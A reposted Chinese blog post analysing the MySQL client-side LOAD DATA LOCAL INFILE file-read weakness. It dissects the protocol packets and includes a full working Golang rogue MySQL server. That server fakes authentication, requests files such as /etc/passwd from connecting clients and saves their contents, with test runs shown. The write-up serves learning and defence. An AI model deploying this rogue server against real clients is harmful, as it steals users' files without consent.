MySQL服务端恶意读取客户端文件漏洞分析并使用Golang编写简易蜜罐 - Go语言中文社区

MySQL服务端恶意读取客户端文件漏洞分析并使用Golang编写简易蜜罐


MySQL读取客户端文件漏洞分析并使用Golang编写简易蜜罐

一、 原理概述

这并不是一个新鲜的漏洞,我也是为了学习Golang才又拿出来炒一遍冷饭。
先大概说一下原理,MySQL客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客服端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成那么当它发送完第一个请求过后并不会存储这个请求,而是直接就丢掉了,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客服端发送一个MySQL语句然后服务端根据这条语句查询后返回结果,也没什么可以利用的,不过MySQL有个语法LOAD DATA INFILE是用来读取一个文件内容并插入到表中,既可以读取服务器文件也可以读取客服端文件,读取客服端文件的语法是load data local infile "/data/test.csv" into table TestTable;为了形象一点,这个语法的使用过程我用哦两个人的对话来表示:

    1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
    2.服务端:请把你本地/data/test.csv的内容发送给我
    3.客户端:好的,这是我本地/data/test.csv的内容:....
    4.服务端:成功/失败

正常情况下这个流程是没毛病,但是前面我说了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:

    1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
    2.服务端:请把你本地/etc/passwd的内容发送给我
    3.客户端:好的,这是我本地/etc/passwd的内容:....
    4.服务端:....随意了

这样服务端就非法拿到了/etc/passwd的文件内容,今天我要实现的就是做一个伪服务端来欺骗善良的客户端。

二、 分析MySQL协议

从上面可以看出,只要我们实现一个假的MySQL服务端就能做上面的事情,要实现一个伪MySQL服务端也不是很困难,因为我们并不需要实现什么功能,只需要保证能让客户端通过权限认证就行了,我们借助Wireshark抓包结合MySQL官方文档就能比较容易做到,首先使用Wireshark抓包查看MySQL登录流程:

  1. 我这里需要抓本地的数据所以还需要先设置一下让本地的流量也经过网卡,ipconfig查看本地IP和网关:
    ipconfig

    然后使用管理员权限执行CMD命令:
    route add 192.168.0.130 mask 255.255.255.255 192.168.0.1

    route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
    这样就可以抓取本地数据了,不过MySQL连接地址要使用:192.168.0.130
  2. 选择网卡并过滤mysql协议数据准备抓包:
    准备抓包

    使用Navicat连接MySQL服务器然后停止抓包开始分析:
    抓包数据

    因为我这里是本地抓包,所以源地址和目标地址都是192.168.0.130,可能不太好分辨出是客户端还是服务端发出的,但是跟局后面的流程可以看出第一个是从服务端发出的,以此类推就行了。
    接下来就一个个分析:
  3. 分析各个数据包
    1. 第一个数据包:服务端->客户端


    第一个包
    0000   4a 00 00 00 0a 35 2e 35 2e 35 33 00 21 00 00 00   J....5.5.53.!...
    0010   3b 46 30 59 52 6c 4a 6e 00 ff f7 21 02 00 0f 80   ;F0YRlJn.ÿ÷!....
    0020   15 00 00 00 00 00 00 00 00 00 00 6a 49 6e 6e 5d   ...........jInn]
    0030   66 69 5f 7c 74 52 7d 00 6d 79 73 71 6c 5f 6e 61   fi_|tR}.mysql_na
    0040   74 69 76 65 5f 70 61 73 73 77 6f 72 64 00         tive_password.
    
    
    当客户端连接上服务器,服务器就会发送这第一个握手数据包,这些数据的内容取决于服务器版本和服务器配置,具体含义就需要参见:MySQL官方文档
    从上面可以看到这个数据包一共有78个字节,文档中明确指出了第一个字节表示协议版本,支持v10和v9,从Mysq3.21.0开始默认就是v10版本,那么第一个字节应该是0a,但是你会发现上面第一个字节并不是0a而是4a,这是为什么呢?
    查阅文档发现:
    Mysql文档截图

    通过Wireshark验证:
    Wireshark验证

    其实前面三个字节是整个数据包从第五个字节开始的长度,这里是74转换为十六进制就是4a,不过需要注意的是我们看到的数据是按照小端排列的4a 00 00,实际的顺序应该是00 00 4a,这点在读取数据长度的时候要注意一下;第四个字节是这个包的序列ID,每次无论客户端还是服务端发送数据这个序列ID都会递增,直到下一个新命令开始又会置00,所以这里是00;后面的数据就是服务器的banner信息,具体格式可以参考文档,非常详细。
    2. 第二个数据包:客户端->服务端
    因为是分析服务端,客户端的数据包就不详细分析了,有兴趣可以去官网文档看看,但是这里可以根据客户端发送来的数据判断客户端是否支持LOAD DATA LOCAL,具体是看第五字节的第一个位,如果是1则表示支持,如果是0则表示不支持,这点从Wireshark上面的描述也能清晰的看到,如图:
    LOAD DATA LOCAL标志

    3. 第三个数据包:服务端->客户端
    这个是返回一个通用包,表示认证成功还是失败,我们这里是一个成功的包,具体格式参见文档
    通用OK包格式

    对照抓包数据:
    OK DATA

    4个字节依旧是包长度和序列号,这里是权限认证的第三部,所以序列号为2,然后再看包内容,这里认证成功响应OK所以第一个字节的内容是00;第二个字节是此次操作影响的数据行数,这里为00;第三个字节是上次插入数据的id,还是00;第四位是服务器状态标志,里面包含了服务器的一些状态,根据服务器设置而不同;第五位是警告数,这里为00;后面三个字节都是额外信息,这里全部为00
    至此认证就结束了!
    接下来就是客服端发来的Query包了。
    4. 第四个数据包:客户端->服务端
    这第四个包就基本不用分析了,也非常简单,就是客户端发送给服务端的一个查询命令COM_QUERY,除了包长度和序列号剩下的包主体就由两部分构成,一是文本协议类型(Text Protocol),这里是一个查询所以就是COM_QUERY,对应的字节应该填03,剩下的就是SQL语句的文本内容了。详情参见:官方文档
    COM_QUERY

    当然文本协议还有很多,比如:内部线程状态(COM_SLEEP)、退出(COM_QUIT)、初始化/切换表(COM_INIT_DB)等等。
    想了解更多可以查看文档
    5. 第五个数据包:服务端->客户端
    第五个数据包是我们分析的重点!
    但是上面抓包中的第五个数据包不是我们想要的,因为上面第五个包是一个普通的查询,我们需要先分析一遍正常的load data local infile "/data/test.csv" into table test;的流程:
    这次用本地的MySQL客户端连接,连接上以后随便切换到一张表,然后清空,开始重新开始抓包:
    准备第二次抓包

    我在桌面创建了一个test.txt用来测试:
    txt

    目前状态:
    准备抓包

    使用MySQL客户端执行SQL语句:
    第二次抓包结果

    可以看到这个操作一共产生了四个数据包,也就是我们前面描述过的正常流程。接下来再分析这四个数据包:
    1. 第一个数据包:客户端->服务端
    这第一个数据包跟上面第五个数据包的类型是一样的,都是COM_QUERY,只是执行的SQL语句不一样,详情见下图:
    客户端请求上传文件
    这里能看到我们刚才在MySQL客户端执行的SQL语句。
    2. 第二个数据包:服务端->客户端
    首先看图:
    Protocol::LOCAL_INFILE_Request

    前面四个字节依旧是长度和序列号,们从fb开始分析,参考官方文档如图所示:
    文档

    文档上面还配了一幅交互图和一个例子,在我们的包中:28 00 00是整个数据包的长度,01表示这是这个流程的第二个数据包,也就是上图中的0xfb+filename的长度,后面从4374是文件名,然后就没啦。我们主要伪造的就是这一步,正常流程这个文件名是在前一步客户端发过来的,而我们可以自己随意指定,反正客户端“记性差”,也不记得前面发给服务端的文件名是啥。
    3. 第三个数据包:客户端->服务端
    这个包里面的数据就是我们最终的目标了,先看官网的数据结构图:
    LOCAL INFILE DATA

    这个包的结构也是超级简单,我们先不看抓包的数据,自己来分析一下数据应该是什么样的:首先整个包分为3部分:第一部分是前4个字节,即数据长度+序列号,这里的长度就是文件内容长度即123456789的长度09 00 00;序列号应该是02;后面就是文本的内容。所以整个数据包没错的话应该就是:09 00 00 02 31 32 33 34 35 36 37 38 39,咱们来对照一下抓包的数据看看是不是一样的:
    客服端发送的文件包

    前面都是对的,不过后面好像多了四个字节。
    那后面还有四个字节又是什么东西呢?回头再去看一下文档就会发现一句话:If the client has data to send, it sends in one or more non-empty packets AS IS followed by a empty packet.也就是说只要客户端发来了文件内容,那么在其后面就会跟上一个空的数据包,既然是空数据包那也就是数据长度为0的数据包了,所以前三个字节是00 00 00;第四字节的序列号还是在上面的02基础上加103;这样第三个数据包就分析完了。
    4.第四个数据包:服务端->客户端
    我们想要的数据包已经拿到了,分析这个数据包也没什么意义,这里就不分析了。

三、使用Golang编写利用代码

我也是刚开始学习golang,还不太熟悉这门语言,如果发现有错误的地方请多多指教,代码里面注释非常详细,我就直接贴代码了:

package main

import (
    "bufio"
    "bytes"
    "encoding/binary"
    "flag"
    "log"
    "net"
    "os"
    "strconv"
    "syscall"
)

//读取文件时每次读取的字节数
const bufLength = 1024

//服务器第一个数据包的数据,可以根据格式自定义,这里要注意SSL字段要置0
var GreetingData = []byte{
    0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36,
    0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
    0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a,
    0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69,
    0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
    0x00,
}
//服务器第二个数据包认证成功的OK响应
var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00}
//配置文件,用于保存要读取的文件列表,默认当前目录下的mysql.ini,可自定义
var configFile = ""
//保存要读取的文件列表
var fileNames []string
//记录每个客户端连接的次数
var recordClient = make(map[string]int)

func main() {
    conf := flag.String("conf", "mysql.ini", "准备读取的客户端文件全路径,一行一个")
    flag.Parse()
    configFile = *conf
    fileNames = readConfig()
    listener := initMysqlServer("0.0.0.0:3306")
    for {
        conn, err := listener.Accept()
        handleError(err, "Accept: ")
        ip := getIp(conn)
        //由于文件最后保存的文件名包含ip地址,为了本地测试加了这个
        if ip == "::1" {
            ip = "localhost"
        }
        //这里记录每个客户端连接的次数,实现获取多个文件
        _, ok := recordClient[ip]
        if ok {
            if recordClient[ip] < len(fileNames)-1 {
                recordClient[ip] += 1
            }
        } else {
            recordClient[ip] = 0
        }
        go connectionClientHandler(conn)
    }
}

//初始化服务器
func initMysqlServer(hostAndPort string) net.Listener {
    serverAddr, err := net.ResolveTCPAddr("tcp", hostAndPort)
    handleError(err, "Resolving address:port failed: '"+hostAndPort+"'")
    listener, err := net.ListenTCP("tcp", serverAddr)
    handleError(err, "ListenTCP: ")
    log.Println("Listening to: ", listener.Addr().String())
    return listener
}

func connectionClientHandler(conn net.Conn) {
    defer conn.Close()
    connFrom := conn.RemoteAddr().String()
    log.Println("Connection from: ", connFrom)
    var ibuf = make([]byte, bufLength)
    //第一个包
    _, err := conn.Write(GreetingData)
    handleError(err, "Send one")
    //第二个包
    _, err = conn.Read(ibuf[0 : bufLength-1])
    handleError(err, "Read two")
    //判断是否有Can Use LOAD DATA LOCAL标志,如果有才支持读取文件
    if (uint8(ibuf[4]) & uint8(128)) == 0 {
        _ = conn.Close()
        log.Println("The client not support LOAD DATA LOCAL")
        return
    }
    //第三个包
    _, err = conn.Write(OkData)
    handleError(err, "Send three")
    //第四个包
    _, err = conn.Read(ibuf[0 : bufLength-1])
    handleError(err, "Read four")
    //这里根据客户端连接的次数来选择读取文件列表里面的第几个文件
    ip := getIp(conn)
    getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb}
    getFileData = append(getFileData, fileNames[recordClient[ip]]...)
    //第五个包
    _, err = conn.Write(getFileData)
    handleError(err, "Send five")
    getRequestContent(conn)
}

//获取客户端传来的文件数据
func getRequestContent(conn net.Conn) {
    var content bytes.Buffer
    //先读取数据包长度,前面3字节
    lengthBuf := make([]byte, 3)
    _, err := conn.Read(lengthBuf)
    handleError(err, "Read data length")
    totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0)))
    if totalDataLength == 0 {
        log.Println("Get no file and closed connection.")
        return
    }
    //然后丢掉1字节的序列号
    _, _ = conn.Read(make([]byte, 1))
    ibuf := make([]byte, bufLength)
    totalReadLength := 0
    //循环读取知道读取的长度达到包长度
    for {
        length, err := conn.Read(ibuf)
        switch err {
        case nil:
            log.Println("Get file and reading...")
            //如果本次读取的内容长度+之前读取的内容长度大于文件内容总长度,则本次读取的文件内容只能留下一部分
            if length+totalReadLength > totalDataLength {
                length = totalDataLength - totalReadLength
            }
            content.Write(ibuf[0:length])
            totalReadLength += length
            if totalReadLength == totalDataLength {
                //读取完成保存到本地文件
                saveContent(conn, content)
                //随便写点数据给客户端
                _, _ = conn.Write(OkData)
            }
        case syscall.EAGAIN: // try again
            continue
        default:
            log.Println("Closed connection: ", conn.RemoteAddr().String())
            return
        }
    }
}

//保存文件
func saveContent(conn net.Conn, content bytes.Buffer) {
    ip := getIp(conn)
    saveName := ip + "-" + strconv.Itoa(recordClient[ip]) + ".txt"
    outputFile, outputError := os.OpenFile(saveName, os.O_WRONLY|os.O_CREATE, 0666)
    handleError(outputError, "Save content")
    defer outputFile.Close()
    outputWriter := bufio.NewWriter(outputFile)
    _, writeErr := outputWriter.WriteString(content.String())
    handleError(writeErr, "Write file")
    _ = outputWriter.Flush()
    return
}

//获取当前ip
func getIp(conn net.Conn) string {
    ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
    return ip
}

//处理错误
func handleError(error error, info string) {
    if error != nil {
        log.Printf(info + " error:" + error.Error() + "n")
    }
}

//读取文件列表
func readConfig() []string {
    var line []string
    fileHandle, error := os.OpenFile(configFile, os.O_RDONLY, 0)
    handleError(error, "Open config file")
    defer fileHandle.Close()
    sc := bufio.NewScanner(fileHandle)
    /*default split the file use 'n'*/
    for sc.Scan() {
        line = append(line, sc.Text())
    }
    handleError(sc.Err(), "Read config file")
    return line
}

四、测试效果

  • 配置文件列表:
    • 本地:第一个和第三个文件存在,第二个不存在。
    • 服务器:第一个和第三个文件不存在,第二个存在。


      配置文件
  • 先在本地运行试试效果:
    • 使用 Navicat连接:


      Navicat

      获取的文件:


      文件1

      文件2

      测试成功!
    • 使用MySQL Client测试:
      Mysql client

      获取的文件:
      文件1

      这里只获取到了一个文件,原因是客户端连接成功后只执行了select @@version_comment limit 1来获取详细版本信息(Source Distribution ),一次查询只能获取一个文件,如果在客户端执行两次查询就可以获取后面两个文件:
      client

      我第一次手动查询获取列表第二个文件/etc/password,没有;第二次手动查询获取列表第三个文件C:UsersAdministratorDesktoptest.txt成功。
  • 编译个Linux版本放到服务器上去试试


    linux run
    • Navicat


      navicat

      连接一次只能读取一个文件,跟MySQL客户端一样。

    • 在服务器本地试试,之前配置文件里面的第二行写错了,应该是/etc/passwd
      linux

      linux select

      结果:
      结果

      基本没毛病。

总结

  • 漏洞要想成功出发需要两个条件:
    • 客户端必须启用LOCAL-INFILE支持。
    • 客户端支持非SSL连接
  • 说实话这个漏洞还是比较鸡肋的,研究它主要是是为了学习一下MySQL的通信协议,同时练习一下刚开始学的Golang,在这个过程中确实也学到了很多,毕竟自己实践过跟单纯看看文章区别还是挺大的。

参考文献

版权声明:本文来源简书,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://www.jianshu.com/p/5fad3809b36c
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2020-01-12 09:58:15
  • 阅读 ( 1131 )
  • 分类:数据库

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢